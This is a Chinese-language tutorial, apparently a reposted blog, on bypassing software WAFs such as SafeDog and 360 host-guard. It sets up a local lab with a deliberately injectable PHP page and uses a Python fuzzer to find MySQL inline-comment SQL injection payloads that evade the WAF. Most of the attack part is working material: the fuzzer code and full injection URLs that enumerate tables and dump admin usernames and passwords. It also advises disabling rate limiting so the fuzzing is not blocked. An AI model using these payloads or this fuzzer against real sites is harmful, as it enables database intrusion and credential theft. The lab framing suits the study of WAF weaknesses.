1. 程式人生 > 其它 >Fuzz自動化Bypass軟WAF姿勢

Fuzz自動化Bypass軟WAF姿勢

0×00 前言

在我剛接觸安全這塊時候遇到注入有WAF的網站時候無從下手,尋找各種有關繞過waf的文章,在網頁瀏覽器上使用SQL語句為了繞過WAF變了個法加了些特殊的數字註釋符就懵了,當然最後經過精心構造的SQL語句,資料庫必須也得能識別並執行。本文主要介紹如何在本地安裝軟WAF並使用Python寫的Fuzz指令碼自動化繞過WAF並結合跑出來的Payload語句繞過安全防護軟體。文章寫的比較細主要分享下,更多細節方面請參考上篇文章 全方位繞過軟WAF攻略。

找一些奇葩的語句還可以執行的,或者自己能構造的,說的簡單點就和密碼爆破一樣有些人字典強就可以掃到各種強悍的弱口令,Fuzz跑組合就有姿勢了。

0x01 安全狗安裝

訪問:http://www.safedog.cn/website_safedog.html

選擇自己的平臺和web容器,我的是windows平臺,Apacheweb容器,所以我就下載windows apache版

這裡自定義路徑,將開機自啟動關閉

如果是使用phpstudy的話,請將執行模式改成系統服務,不然前面安全狗的外掛會安裝不上

0x02**安全狗解除安裝**

這裡講下細節部分解除安裝安全狗後出現的問題,啟動Apache會發生錯誤:

在Apache的conf目錄下有這樣一個檔案,SafeDogSiteApacheFilter.Conf,當然當您解除安裝以後可能這個檔案也隨之刪除了,但是http.conf檔案中還有這樣一段:Include “d:/wamp/apache24/conf/SafeDogSiteApacheFilter.Conf”,我們只需要刪除這段話就可以讓apache成功的啟動了

SQL注入程式碼

<?phpheader('content-type:text/html;chaset=utf-8');ini_set('display_errors',0);$mysqli = new mysqli('localhost', 'root','root','fkt');$sql = "select * from new where id=".$_GET["id"];$result = $mysqli->query($sql);if($result === false){//執行失敗    echo $mysqli->error;    echo $mysqli->errno;}echo '<hr><table border="1px" align="center">';echo '<tr><th>ID</th><th>a</th><th>fkt</th></tr>';while($row = $result->fetch_assoc()){ echo '<tr>';    echo '<td>'.$row['id'].'</td>';    echo '<td>wait</td>';    echo '<td>'.$row['content'].'</td>';    echo '</tr>';}echo '</table>';$mysqli->close();?>

mysql語句

mysql> create database fkt;Query OK, 1 row affected (0.00 sec)mysql> use fkt;Database changedmysql> CREATE TABLE new(    ->     id int not null,    ->     content char(20)    -> );Query OK, 0 rows affected (0.19 sec)mysql> insert into new    -> values(    -> '1','xiaobai');Query OK, 1 row affected (0.02 sec)

0x03 mysql模擬注入查詢**

**

mysql的註釋有三種方式:

1、塊註釋:/ ….. / 2、行註釋:# 3、行註釋:— (—%20,注意後面有一個空格,與SQL標準稍有差別)

自MySQL3.23 版以來,可在C 風格的註釋中“隱藏” MySQL特有的關鍵字,註釋以“/ !”而不是以“ / ”起頭

現在我們在mysql命令列中執行一下SQL語句:

Select * from news where id=1Select * from news /*!where*/id=1

我們來看下在命令列下執行的結果:

還是可以正常的查詢出內容,我們在mysql命令列中進行下聯合查詢注入:Order by N

Select * from new where id =1 order by 1;Select * from new where id =1 order by 2;

Order by 測試出欄位為2:

使用mysql聯合查詢步驟,模擬SQL注入回顯資料

select * from new where id=1 union all select null,null;select * from new where id=1 and 1=2 union all select null,null;select * from new where id=1 and 1=2 union all select user(),null;

**


這樣也是能正常查詢出來的

mysql> select * from new where id=1 and 1=2 union all select /*!user*//*!()*/,null;

**


我們在瀏覽器上通過內聯註釋注入一下看看會不會被攔截,還是被攔截了,老版本的安全狗可以通過內聯註釋繞過所以咱們今天Fuzz自動化Bypass的思路就是結合這個內聯註釋,加一些特殊符號,以及url編碼來進行對安全狗的繞過

http://192.168.30.129/fuzz/index.php?id=1/*!union*//*!select*/1,2

**


0x04 Fuzz自動化bypass**

程式碼比較簡潔我就直接給上註釋了這樣看得清晰點,只要是在釋符號裡面就可以包括任意特殊的符號等,擋住WAF的視線這樣說更明白點。列如: /!unionselect/

Fuzz指令碼程式碼如下:

**


注意底部我的SQL查詢的頁面中有wait這個字元,沒有wait的話你就看看’’正常的頁面在有啥必出現的字元 改了就行或者在加個else print (”未過狗”)

code如下:

#encoding=utf-8#實現思路;#不被攔截的頁面上會出現字元“wait”#被攔截的不會,使用for迴圈請求並檢查返回的頁面中是否存在該字元即可。import requests#引入請求模組url = "http://127.0.0.1/index.php?id=1";#定義目標Fuzz_a = ['/*!','*/','/**/','/','?','~','!','.','%','-','*','+','=']Fuzz_b = ['']Fuzz_c = ['%0a','%0b','%0c','%0d','%0e','%0f','%0h','%0i','%0j']FUZZ = Fuzz_a+Fuzz_b+Fuzz_c#配置fuzz字典header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}#設定請求的headersfor a in FUZZ: pass for b in FUZZ: pass for c in FUZZ: for d in FUZZ: pass for e in FUZZ: pass PYLOAD = "/*!union"+a+b+c+d+e+"select*/ 1,2" urlp = url+PYLOAD res = requests.get(urlp,headers=header) #使用for排列組合fuzz字典並請求頁面 if 'wait' in res.text: print ("[*]URL:"+ urlp +"過狗!") f=open('result.txt','a') f.write(urlp+"n") f.close #如果返回的頁面中包含wait字元,則列印並寫出過狗payload。

將這段程式碼放進kali linux,或者windows系統需要安裝pip模組python2.7即可然後執行一下

在執行之前一定要將cc防護關閉, 或者把IP黑名單關掉Fuzz過快容易被封IP

在windows系統上執行幾分鐘後,會出現一個叫result.txt的檔案,裡面就是我們跑出來的姿勢了

kali執行結果如下

隨便取一個姿勢出來看看姿勢有了

http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*/1,2

我們來手工繞過下吧!

http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*//*!user()/*!/*!*/,2

這樣又被攔截了,“你不是說繞過了安全狗了嗎?”。當然已經繞過了,需要這樣寫語句

http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*//*!user/*!/*!()*/,2
http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*//*!user/*!/*!()*/,/*!database/*!()*/
http://localhost/fuzz/index.php?id=1/*!and/*!/*!*//*!1=2/*!/*!*//*!UNION/*!/*!*//*!ALL/*!/*!*//*!SELECT/*!/*!*//*!group_concat(table_name)/*!/*!*/,NULL/*!from/*!/*!*//*!information_schema.tables/*!/*!*//*!where/*!/*!*//*!table_schema=/*!/*!*//*!database/*!/*!()*/
http://localhost/fuzz/index.php?id=1/*!and/*!/*!*//*!1=2/*!/*!*//*!UNION/*!/*!*//*!ALL/*!/*!*//*!SELECT/*!/*!*//*!group_concat(column_name)/*!/*!*/,NULL/*!from/*!/*!*//*!information_schema.columns/*!/*!*//*!where/*!/*!*//*!table_name=/*!/*!*//*!"admin"/*!/*!*/

獲取出了admin表的欄位

http://localhost/fuzz/index.php?id=1/*!and/*!/*!*//*!1=2/*!/*!*//*!UNION/*!/*!*//*!ALL/*!/*!*//*!SELECT/*!/*!*//*!group_concat(concat(user,0x2c,pwd))/*!/*!*/,NULL/*!from/*!/*!*//*!admin/*!/*!*/

360主機衛士Fuzz

同樣的我們來測試下360主機衛士

Fuzz匹配到的語句

http://192.168.30.135/fuzz/index.php?id=1/!union/!/!/!%0d%0dselect*/ 1,2 取一個姿勢試試完全可以

這樣就完全沒問題了!姿勢有了,當然也可以寫入到Sqlmap的Tamper指令碼上,Copyslqmaptamper目錄下檔案 ,按照他的規則,照著改下就行了

最後附上一個過360主機的指令碼 可以參考 按照如下寫法

結尾:

文章只是拋磚引玉了下,主要是個思路學習過程,使用Pyhton指令碼結合了下Mysql內聯註釋定義了一些特殊符號相當給指令碼配合了一個字典達到Fuzz最終的效果,完了之後 也可以對比一下,看一下能過的Fuzz有沒有特點的規律 總結一下。當然也可以自己在自定義一些,在測試其他的軟WAF不侷限於以上這些內容。